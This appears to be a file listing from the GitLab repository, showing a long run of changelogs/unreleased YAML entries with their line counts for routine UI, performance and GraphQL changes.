-rw-r--r--changelogs/unreleased/Externalise-strings-in-unlocks-new-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalise-strings-in-viewers-_loading_auxiliary-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalise-strings-in_-pages-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalise-strings-in_confirmation_instructions_account-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-stings-in-password_change-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-_confirmation_instructions_account-text-erb.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-_confirmation_instructions_secondary-text-erb.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-deploy_keys-new-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-groups-_activities-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-groups-_create_chat_team-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-groups-activity-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-hook_logs-_index-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-instance_configuration-_gitlab_ci-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-instance_configuration-_gitlab_pages-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-labels-new-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-milestones-_form-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-milestones-edit-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-passwords-edit-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-passwords-new-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-projects-_projects-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-projects-index-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-registrations-edit-html-erb.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-runners-_runner-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-sessions-_new_crowd-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-sessions-new-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-sessions-two_factor-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-shared-_tabs_ldap-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-shared_omniauth_box-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-spam_logs-_spam_log-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-ssessions_new_ldap-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-unlock_instructions-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-users-_head-html-haml.yml5
-rw-r--r--changelogs/unreleased/Externalize-strings-in-viewers-_empty-html-haml.yml5
-rw-r--r--changelogs/unreleased/ab-drop-non-partitioned-audit-events.yml5
-rw-r--r--changelogs/unreleased/ab-remove-async_add_build_failure_todo-feature-flag.yml5
-rw-r--r--changelogs/unreleased/ab-spam-logs-index.yml5
-rw-r--r--changelogs/unreleased/ab-track-reltuples.yml5
-rw-r--r--changelogs/unreleased/activerecord_empty_query_default_true.yml5
-rw-r--r--changelogs/unreleased/add-cloud-column-to-licenses.yml5
-rw-r--r--changelogs/unreleased/add-error-handler-dashboard-activity.yml5
-rw-r--r--changelogs/unreleased/add_source_project_target_branch_index_to_merge_request.yml5
-rw-r--r--changelogs/unreleased/admin-group-notes.yml5
-rw-r--r--changelogs/unreleased/afontaine-add-username-to-email-from.yml5
-rw-r--r--changelogs/unreleased/afontaine-edit-deploy-freeze.yml5
-rw-r--r--changelogs/unreleased/afontaine-make-discussions-from-emails.yml5
-rw-r--r--changelogs/unreleased/ajk-36098-fix-excessive-db-activity-in-mr-assign-mutation.yml5
-rw-r--r--changelogs/unreleased/ajk-add-user-mr-interaction.yml5
-rw-r--r--changelogs/unreleased/ajk-gitlab-docs-deprecation-use-schema-types.yml5
-rw-r--r--changelogs/unreleased/ajk-graphql-ci-jobs.yml5
-rw-r--r--changelogs/unreleased/ak-fix-registration-token.yml5
-rw-r--r--changelogs/unreleased/align-center-subproject.yml5
-rw-r--r--changelogs/unreleased/api-compare-across-projects.yml6
-rw-r--r--changelogs/unreleased/ar-approval-settings-header.yml5
-rw-r--r--changelogs/unreleased/assignee-push-option.yml5
-rw-r--r--changelogs/unreleased/be-test-report-summary-graphql.yml5
-rw-r--r--changelogs/unreleased/be-test-suite-graphql.yml5
-rw-r--r--changelogs/unreleased/board-view-deprecated-button.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-alerts.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-blob.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-devise.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-download-dir.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-feature-flags.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-geo.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-invites.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-licenses.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-logs.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-metrics.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-pipeline_editor.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-pipeline_new.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-project-branches.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-project-cleanup.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-project-default-branch.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-project-deploy-forks.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-project-deploy-keys.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-project-hooks.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-project-imports.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-project-network.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-project-settings.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-projects-services.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-projects-settings.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-projects-snippets.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-projects-tags.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-projects.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-protected-branches.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-protected-tags.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-push-rules.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-quotas.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-registrations.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-runners.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-schedules.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-tracing.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-user-settings.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-users.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-vulnerabilities.yml5
-rw-r--r--changelogs/unreleased/btn-confirm-wiki.yml5
-rw-r--r--changelogs/unreleased/btn-danger-apps.yml5
-rw-r--r--changelogs/unreleased/btn-default-filepicker.yml5
-rw-r--r--changelogs/unreleased/btn-default-mirror-update.yml5
-rw-r--r--changelogs/unreleased/btn-default-sd-toggle.yml5
-rw-r--r--changelogs/unreleased/btn-default-templates.yml5
-rw-r--r--changelogs/unreleased/btn-icon-gpg-delete.yml5
-rw-r--r--changelogs/unreleased/btn-sm-revoke.yml5
-rw-r--r--changelogs/unreleased/bulk-update-user-todos-count-cache.yml5
-rw-r--r--changelogs/unreleased/bw-iteration-globalid.yml5
-rw-r--r--changelogs/unreleased/byo_prom.yml5
-rw-r--r--changelogs/unreleased/cache-mr-count-on-milestone-page.yml5
-rw-r--r--changelogs/unreleased/candrews-master-patch-98104.yml5
-rw-r--r--changelogs/unreleased/center-icons-text.yml5
-rw-r--r--changelogs/unreleased/change-json-validation.yml5
-rw-r--r--changelogs/unreleased/change-payload-format-for-dora-metrics.yml5
-rw-r--r--changelogs/unreleased/changelog-tag-regex.yml5
-rw-r--r--changelogs/unreleased/changelog.yml5
-rw-r--r--changelogs/unreleased/chatops-multiline-messages.yml5
-rw-r--r--changelogs/unreleased/chore-rubocop-user-admin.yml5
-rw-r--r--changelogs/unreleased/chore-unknown-sign-in-info-text.yml5
-rw-r--r--changelogs/unreleased/ci-add-extra-properties-to-external-validation-payload.yml5
-rw-r--r--changelogs/unreleased/ci-allow-external-validation-request-timeout-override.yml5
-rw-r--r--changelogs/unreleased/ci-disable-scheduled-pipelines-323341.yml5
-rw-r--r--changelogs/unreleased/ci-fix-pipeline-loading-by-sha-for-graphql.yml5
-rw-r--r--changelogs/unreleased/ci-improve-users-cancelable-pipelines-query.yml5
-rw-r--r--changelogs/unreleased/ci-remove-ff-for-pipeline-async-processing-326217.yml5
-rw-r--r--changelogs/unreleased/ci-templates-docker-main.yml6
-rw-r--r--changelogs/unreleased/close-droplab-dropdowns-on-click.yml5
-rw-r--r--changelogs/unreleased/clusterrolebinding-v1.yml5
-rw-r--r--changelogs/unreleased/clusters_integrations_prometheus.yml6
-rw-r--r--changelogs/unreleased/cngo-add-aria-labels-to-icon-buttons.yml5
-rw-r--r--changelogs/unreleased/cngo-add-aria-labels-to-icon-only-buttons-2.yml5
-rw-r--r--changelogs/unreleased/cngo-add-aria-labels-to-icon-only-buttons-3.yml5
-rw-r--r--changelogs/unreleased/cngo-add-aria-labels-to-icon-only-buttons.yml5
-rw-r--r--changelogs/unreleased/cngo-add-gl-toggle-labels.yml5
-rw-r--r--changelogs/unreleased/cngo-fix-member-autocomplete-sort.yml5
-rw-r--r--changelogs/unreleased/confirm_support_bot.yml5
-rw-r--r--changelogs/unreleased/dblessing_cascading_settings_default_enabled.yml5
-rw-r--r--changelogs/unreleased/dblessing_cascading_settings_final.yml5
-rw-r--r--changelogs/unreleased/dblessing_ignore_namespace_delayed_project_removal.yml5
-rw-r--r--changelogs/unreleased/dc-remove-artifact-fields-feature-flag.yml5
-rw-r--r--changelogs/unreleased/dc-use-fast-path-helpers.yml5
-rw-r--r--changelogs/unreleased/deactivate-prune-webhooklogs-worker.yml5
-rw-r--r--changelogs/unreleased/deprecate_alerts_managed_prometheus.yml5
-rw-r--r--changelogs/unreleased/deprecated_but_keep_support_for_klar_up_to_3.yml6
-rw-r--r--changelogs/unreleased/discussions_nplusone.yml5
-rw-r--r--changelogs/unreleased/docs-daily-dora-metrics.yml5
-rw-r--r--changelogs/unreleased/docs-eb-pages-deployment-migration.yml5
-rw-r--r--changelogs/unreleased/docs-omniauth-providers-icon.yml5
-rw-r--r--changelogs/unreleased/dont-close-label-auto-suggest-select-box-if-only-mouseup-outside-box.yml5
-rw-r--r--changelogs/unreleased/drop-pipelines-async-when-user-blocked.yml5
-rw-r--r--changelogs/unreleased/dz-fix-ruby-alpine-template-for-rails.yml5
-rw-r--r--changelogs/unreleased/dz-fix-ruby-alpine-template.yml5
-rw-r--r--changelogs/unreleased/dz-project-setting-default-target-project.yml5
-rw-r--r--changelogs/unreleased/dz-redirect-deprecated-pipeline-routes.yml5
-rw-r--r--changelogs/unreleased/dz-remove-top-margin-print.yml5
-rw-r--r--changelogs/unreleased/dz-show-archive-notice.yml5
-rw-r--r--changelogs/unreleased/eb-rename-ci-test-tables.yml5
-rw-r--r--changelogs/unreleased/eb-sort-code-quality-mr-widget.yml5
-rw-r--r--changelogs/unreleased/eb-update-usage-ping-metrics-definition.yml5
-rw-r--r--changelogs/unreleased/enable-maven-query-optimization-ff-by-default.yml5
-rw-r--r--changelogs/unreleased/ensure_project_iid_before_drop_pipeline.yml5
-rw-r--r--changelogs/unreleased/epic-detail-view-deprecated-button.yml5
-rw-r--r--changelogs/unreleased/eread-refactor-jaeger-tracing-configuration-ui.yml5
-rw-r--r--changelogs/unreleased/exclude-projects-dropdown-from-revert.yml5
-rw-r--r--changelogs/unreleased/exif-var.yml5
-rw-r--r--changelogs/unreleased/expand-button-fix.yml5
-rw-r--r--changelogs/unreleased/expiring-ssh-key-notification.yml5
-rw-r--r--changelogs/unreleased/f_caplette-move-pipeline-editor-button-repo.yml5
-rw-r--r--changelogs/unreleased/ff-enable-pipeline-editor-empty-state.yml5
-rw-r--r--changelogs/unreleased/fix-build-group-name.yml5
-rw-r--r--changelogs/unreleased/fix-commit-status-with-child-pipeline.yml5
-rw-r--r--changelogs/unreleased/fix-compliance-pipeline-validation.yml5
-rw-r--r--changelogs/unreleased/fix-explore-projects-by-visibility.yml5
-rw-r--r--changelogs/unreleased/fix-forward-deployment-worker-dead-lock.yml5
-rw-r--r--changelogs/unreleased/fix-gb-avoid-inflating-memory-when-aborting-pipelines.yml5
-rw-r--r--changelogs/unreleased/fix-gl-emoji-abuse-reports.yml5
-rw-r--r--changelogs/unreleased/fix-group_members_max_access_level.yml5
-rw-r--r--changelogs/unreleased/fix-haml-promote-issue-weights.yml5
-rw-r--r--changelogs/unreleased/fix-mr-issues-list-padding.yml5
-rw-r--r--changelogs/unreleased/fix-mr-source-branch-styling.yml5
-rw-r--r--changelogs/unreleased/fix-n-1-for-merge-requests-scope.yml5
-rw-r--r--changelogs/unreleased/fix-n-1-for-project-scope.yml5
-rw-r--r--changelogs/unreleased/fix-namespace-existence-check.yml5
-rw-r--r--changelogs/unreleased/fix-obsolte-production-identifier.yml5
-rw-r--r--changelogs/unreleased/fix-option-remove-memberships-from-subresources.yml6
-rw-r--r--changelogs/unreleased/fix-previous-deployment.yml5
-rw-r--r--changelogs/unreleased/fix-reference-widget-utility-class.yml5
-rw-r--r--changelogs/unreleased/fix-suggest-gitlab-ci-popover.yml5
-rw-r--r--changelogs/unreleased/fj-fix-bug-gollum-tag-filter.yml5
-rw-r--r--changelogs/unreleased/fj-fix-bug-with-wiki-link-rewriter.yml5
-rw-r--r--changelogs/unreleased/fj-render-kramdown-through-gitlab-markup.yml5
-rw-r--r--changelogs/unreleased/fp-remove-ff-ci-lower-frequency-trace-update.yml5
-rw-r--r--changelogs/unreleased/georgekoltsov-bulk-import-badges.yml5
-rw-r--r--changelogs/unreleased/georgekoltsov-fix-epics-pipeline.yml5
-rw-r--r--changelogs/unreleased/georgekoltsov-increase-bulk-import-default-page-size.yml6
-rw-r--r--changelogs/unreleased/gitlab-ui-integration-1226-make-popover-focus-by-default.yml5
-rw-r--r--changelogs/unreleased/gl-badge-dashboard.yml5
-rw-r--r--changelogs/unreleased/gl-badge-members.yml5
-rw-r--r--changelogs/unreleased/gl-badge-mr-nav.yml5
-rw-r--r--changelogs/unreleased/gl-badge-project-members.yml5
-rw-r--r--changelogs/unreleased/gl-badge-starrers.yml5
-rw-r--r--changelogs/unreleased/gl-button-create-tag.yml5
-rw-r--r--changelogs/unreleased/gl-button-shared-1.yml5
-rw-r--r--changelogs/unreleased/gl-form-gpg.yml5
-rw-r--r--changelogs/unreleased/gl-form-new-schedule.yml5
-rw-r--r--changelogs/unreleased/graphql-expose-timelogs-against-issuables.yml5
-rw-r--r--changelogs/unreleased/group-applications.yml5
-rw-r--r--changelogs/unreleased/hchouraria-backup-repository-empty-repo-skipped.yml5
-rw-r--r--changelogs/unreleased/id-bump-devise-two-factor.yml5
-rw-r--r--changelogs/unreleased/id-bump-gon-version.yml5
-rw-r--r--changelogs/unreleased/id-bump-rspec-rails-to-5-1.yml5
-rw-r--r--changelogs/unreleased/id-bump-rspec-rails.yml5
-rw-r--r--changelogs/unreleased/id-cache-cache-merge-request-versions-version-api.yml5
-rw-r--r--changelogs/unreleased/id-enable-pick-into-project.yml5
-rw-r--r--changelogs/unreleased/id-move-ci-related-paths-to-cached-widget.yml5
-rw-r--r--changelogs/unreleased/id-n-1-for-api-deployments.yml5
-rw-r--r--changelogs/unreleased/id-n-1-for-commits-notes.yml5
-rw-r--r--changelogs/unreleased/id-n-1-for-deploy-keys.yml5
-rw-r--r--changelogs/unreleased/id-n-1-for-jira-pulls.yml5
-rw-r--r--changelogs/unreleased/id-n-1-for-merge-request-commits.yml5
-rw-r--r--changelogs/unreleased/id-n-1-for-milestone-issues.yml5
-rw-r--r--changelogs/unreleased/id-preload-all-user-callouts.yml5
-rw-r--r--changelogs/unreleased/id-preload-associations-to-milestones-mrs.yml5
-rw-r--r--changelogs/unreleased/id-reduce-cached-requests.yml5
-rw-r--r--changelogs/unreleased/id-reduce-sql-requests-for-issue-links.yml5
-rw-r--r--changelogs/unreleased/id-remove-cached-api-ff.yml5
-rw-r--r--changelogs/unreleased/id-remove-cached-pipeline-serializer-ff.yml5
-rw-r--r--changelogs/unreleased/implement-blocking-issue-popover-for-boards.yml5
-rw-r--r--changelogs/unreleased/improve-mr-analytics-graphql-count-query.yml5
-rw-r--r--changelogs/unreleased/improve-todo-service-database-performance.yml5
-rw-r--r--changelogs/unreleased/improve_notification_settings_query_performance.yml5
-rw-r--r--changelogs/unreleased/in-product-email-campaigns-self-managed.yml5
-rw-r--r--changelogs/unreleased/include-squash-commits-in-changelogs.yml5
-rw-r--r--changelogs/unreleased/index-members-user-id-source-id-source-type.yml5
-rw-r--r--changelogs/unreleased/inherited_issuable_templates_default_enabled.yml5
-rw-r--r--changelogs/unreleased/issue-220040-fix-rails-savebang-admin-controllers.yml5
-rw-r--r--changelogs/unreleased/issue-220040-fix-rails-savebang-banzai-module.yml5
-rw-r--r--changelogs/unreleased/issue-220040-fix-rails-savebang-commit-models.yml5
-rw-r--r--changelogs/unreleased/issue-220040-fix-rails-savebang-deploy-modules.yml5
-rw-r--r--changelogs/unreleased/issue-220040-fix-rails-savebang-email-handlers.yml5
-rw-r--r--changelogs/unreleased/issue-220040-fix-rails-savebang-gitaly-client-module.yml5
-rw-r--r--changelogs/unreleased/issue-220040-fix-rails-savebang-hooks-models.yml5
-rw-r--r--changelogs/unreleased/issue-220040-fix-rails-savebang-issue-models.yml5
-rw-r--r--changelogs/unreleased/issue-220040-fix-rails-savebang-legacy-github-import-module.yml5
-rw-r--r--changelogs/unreleased/issue-220040-fix-rails-savebang-markdown-cache-module.yml5
-rw-r--r--changelogs/unreleased/issue-220040-fix-rails-savebang-mattermost-module.yml5
-rw-r--r--changelogs/unreleased/issue-220040-fix-rails-savebang-presenter-module.yml5
-rw-r--r--changelogs/unreleased/issue-220040-fix-rails-savebang-requests-api-module.yml5
-rw-r--r--changelogs/unreleased/issue-220040-fix-rails-savebang-requests-spec.yml5
-rw-r--r--changelogs/unreleased/issue-276385-remove-temporary_index_vulnerabilities_on_id.yml5
-rw-r--r--changelogs/unreleased/issue-325831-make-searchQueryService-paramter-optional.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-api-entities.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-api-helpers.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-boards-module.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-design-management-module.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-error-tracking-module.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-alert-management.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-analytics.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-auth.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-checks.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-github-import.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-graphql.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-hook-data.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-imoport-export.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-jira-import.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-graphql-types.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-groups-controller.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-groups-module.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-helpers.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-lib-banzai.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-lib-gitlab.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-mailers.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-metrics-module.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-models-blob-viewer.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-models-ci.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-models-concerns.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-models-project.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-phabricator-import.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-policies.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-projects-controller.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-serializers.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-award-emojis.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-boards.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-design-management.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-environments.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-groups.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-ide.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-issues.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-services-merge-request.yml5
-rw-r--r--changelogs/unreleased/issue-detail-view-deprecated-button.yml5
-rw-r--r--changelogs/unreleased/issue-list-view-deprecated-button.yml5
-rw-r--r--changelogs/unreleased/issue_322686-improve_award_emoji_filtering_query.yml5
-rw-r--r--changelogs/unreleased/jivanvl-add-fields-to-job-type-graphql.yml5
-rw-r--r--changelogs/unreleased/jivanvl-add-tags-job-type-graphql.yml5
-rw-r--r--changelogs/unreleased/jivanvl-enable-gldropdown-branches-ff.yml5
-rw-r--r--changelogs/unreleased/jivanvl-fix-icon-size-pipeline-editor.yml5
-rw-r--r--changelogs/unreleased/jivanvl-fix-tooltip-position-mini-pipeline-chart.yml5
-rw-r--r--changelogs/unreleased/jivanvl-remove-ci-instance-variables-ui-ff.yml5
-rw-r--r--changelogs/unreleased/jivanvl-remove-gldropdown-branches-ff.yml5
-rw-r--r--changelogs/unreleased/jl-lower-milestone-issue-display-limit.yml5
-rw-r--r--changelogs/unreleased/jl-update-ru-weight-translation.yml5
-rw-r--r--changelogs/unreleased/jonstonchan-fix-triggers-externalization.yml5
-rw-r--r--changelogs/unreleased/js-semgrep.yml5
-rw-r--r--changelogs/unreleased/jswain_whats_new_self_managed_authenticated.yml5
-rw-r--r--changelogs/unreleased/kassio-bulkimports-add-pipeline-worker.yml5
-rw-r--r--changelogs/unreleased/kassio-bulkimports-import-milestone-iid.yml5
-rw-r--r--changelogs/unreleased/kassio-bulkimports-track-pipeline-work.yml5
-rw-r--r--changelogs/unreleased/kassio-graphql-expose-board-create-at-updated-at.yml5
-rw-r--r--changelogs/unreleased/kassio-graphql-expose-milestone-iid.yml5
-rw-r--r--changelogs/unreleased/kassio-phabricator-enabled-by-default.yml5
-rw-r--r--changelogs/unreleased/kerrizor-use-specialized-service-for-assignee-updates.yml5
-rw-r--r--changelogs/unreleased/kp-remove-roadmap-buffered-rendering-ff.yml5
-rw-r--r--changelogs/unreleased/kp-show-pipeline-finish-timestamp.yml5
-rw-r--r--changelogs/unreleased/label-background-colour.yml5
-rw-r--r--changelogs/unreleased/limit-graphql-requests-in-performance-bar.yml5
-rw-r--r--changelogs/unreleased/link-mrs-failed-deploys.yml5
-rw-r--r--changelogs/unreleased/link-to-version.yml5
-rw-r--r--changelogs/unreleased/lm-add-scheduling-type-to-job.yml5
-rw-r--r--changelogs/unreleased/lm-deep-stringify-merged-yaml.yml5
-rw-r--r--changelogs/unreleased/lm-enable-ff-by-default.yml5
-rw-r--r--changelogs/unreleased/make-ci_runner_builds_queue_on_replicas-default.yml5
-rw-r--r--changelogs/unreleased/manifest-unsafe-scheme.yml5
-rw-r--r--changelogs/unreleased/mc-backstage-graphql-list-available-branches.yml5
-rw-r--r--changelogs/unreleased/mc-backstage-reschedule-artifac-expiry-date-again.yml5
-rw-r--r--changelogs/unreleased/mc-backstage-use-redis-in-branch-finder.yml5
-rw-r--r--changelogs/unreleased/mermaid-8-9-2.yml5
-rw-r--r--changelogs/unreleased/migration-add-trial-extension-type-to-gitlab-subscriptions.yml5
-rw-r--r--changelogs/unreleased/milestone-list-deprecated-button.yml5
-rw-r--r--changelogs/unreleased/mjang-okr-issue-300594.yml5
-rw-r--r--changelogs/unreleased/mjang-okr-issue-300629.yml5
-rw-r--r--changelogs/unreleased/mk-add-index-for-project-deployments-with-environment-id-and-updated-at.yml5
-rw-r--r--changelogs/unreleased/mk-chaos-quit.yml5
-rw-r--r--changelogs/unreleased/mk-speed-up-merge-request-creation-action.yml6
-rw-r--r--changelogs/unreleased/mk-verify-snippets.yml6
-rw-r--r--changelogs/unreleased/mo-add-pipeline-artifact-geo-database.yml5
-rw-r--r--changelogs/unreleased/mo-codeclimate-prefix.yml5
-rw-r--r--changelogs/unreleased/mo-remove-codequality-backend-ff.yml5
-rw-r--r--changelogs/unreleased/mobsf_version.yml5
-rw-r--r--changelogs/unreleased/move-graphql-timelogs-to-ce.yml5
-rw-r--r--changelogs/unreleased/move-link-icon-to-css.yml5
-rw-r--r--changelogs/unreleased/move_pipeline_creation_async.yml5
-rw-r--r--changelogs/unreleased/mr-thread-comment-button.yml5
-rw-r--r--changelogs/unreleased/mrincon-runner-detail-breadcrumb-fix.yml5
-rw-r--r--changelogs/unreleased/msj-redmine-integration.yml5
-rw-r--r--changelogs/unreleased/msjr-no-issue-found-for-params.yml5
-rw-r--r--changelogs/unreleased/mwaw-301055-update-metrics-definitions-for-product-intelligence-group.yml5
-rw-r--r--changelogs/unreleased/mwaw-323460-feature-flag-product_intelligence_metrics_names_suggestions-d.yml5
-rw-r--r--changelogs/unreleased/new-epic-form-deprecated-button.yml5
-rw-r--r--changelogs/unreleased/nfriend-add-release-asset-link-delete-mutation.yml5
-rw-r--r--changelogs/unreleased/nfriend-reorganize-release-detail-page-store.yml5
-rw-r--r--changelogs/unreleased/nicolasdular-apply-ci-template-via-param.yml5
-rw-r--r--changelogs/unreleased/nicolasdular-cleanup-signup-onboarding-ff.yml5
-rw-r--r--changelogs/unreleased/nicolasdular-hello-world-ci-template.yml5
-rw-r--r--changelogs/unreleased/nicolasdular-hide-pipelines-filter-on-empty-state.yml5
-rw-r--r--changelogs/unreleased/nicolasdular-in-product-emails-only-for-free.yml5
-rw-r--r--changelogs/unreleased/nicolasdular-record-product-email-campaign-emails.yml5
-rw-r--r--changelogs/unreleased/nicolasdular-welcome-page-text-change.yml5
-rw-r--r--changelogs/unreleased/notes_quick_action_feedback.yml5
-rw-r--r--changelogs/unreleased/ntepluhina-assignees-feature-flag.yml5
-rw-r--r--changelogs/unreleased/optimise_previous_environment_deployment.yml5
-rw-r--r--changelogs/unreleased/optimize-environments-serializer.yml5
-rw-r--r--changelogs/unreleased/optimize-link-merge-request-worker.yml5
-rw-r--r--changelogs/unreleased/optimize-query-for-cherry-picked-merge-requests.yml5
-rw-r--r--changelogs/unreleased/optimize-query-for-last-deployment.yml5
-rw-r--r--changelogs/unreleased/pb-add-fields-to-job-type.yml5
-rw-r--r--changelogs/unreleased/pb-add-jobs-field-to-project-type.yml5
-rw-r--r--changelogs/unreleased/pb-bg-color.yml4
-rw-r--r--changelogs/unreleased/pb-disable-trigger-manual-action.yml5
-rw-r--r--changelogs/unreleased/pb-fix-broken-admin-variables.yml5
-rw-r--r--changelogs/unreleased/pb-fix-duration-for-skipped-pipeline.yml5
-rw-r--r--changelogs/unreleased/pb-fix-has-artifacts-computed-prop.yml5
-rw-r--r--changelogs/unreleased/pb-fix-in-progress-for-single-stage-manual-pipelines.yml5
-rw-r--r--changelogs/unreleased/pb-flip-on-new-pipelines-table-ff.yml5
-rw-r--r--changelogs/unreleased/pb-popover-improvement.yml5
-rw-r--r--changelogs/unreleased/pb-remove-jobs-page-ci-lint-button.yml5
-rw-r--r--changelogs/unreleased/pb-stuck-job-in-progress-ux.yml5
-rw-r--r--changelogs/unreleased/pb-ux-ci-cd-toggle-setting.yml5
-rw-r--r--changelogs/unreleased/pedropombeiro-variable_inside_variable.yml5
-rw-r--r--changelogs/unreleased/peter-kovar-gitlab-324635-c---icon-fix.yml5
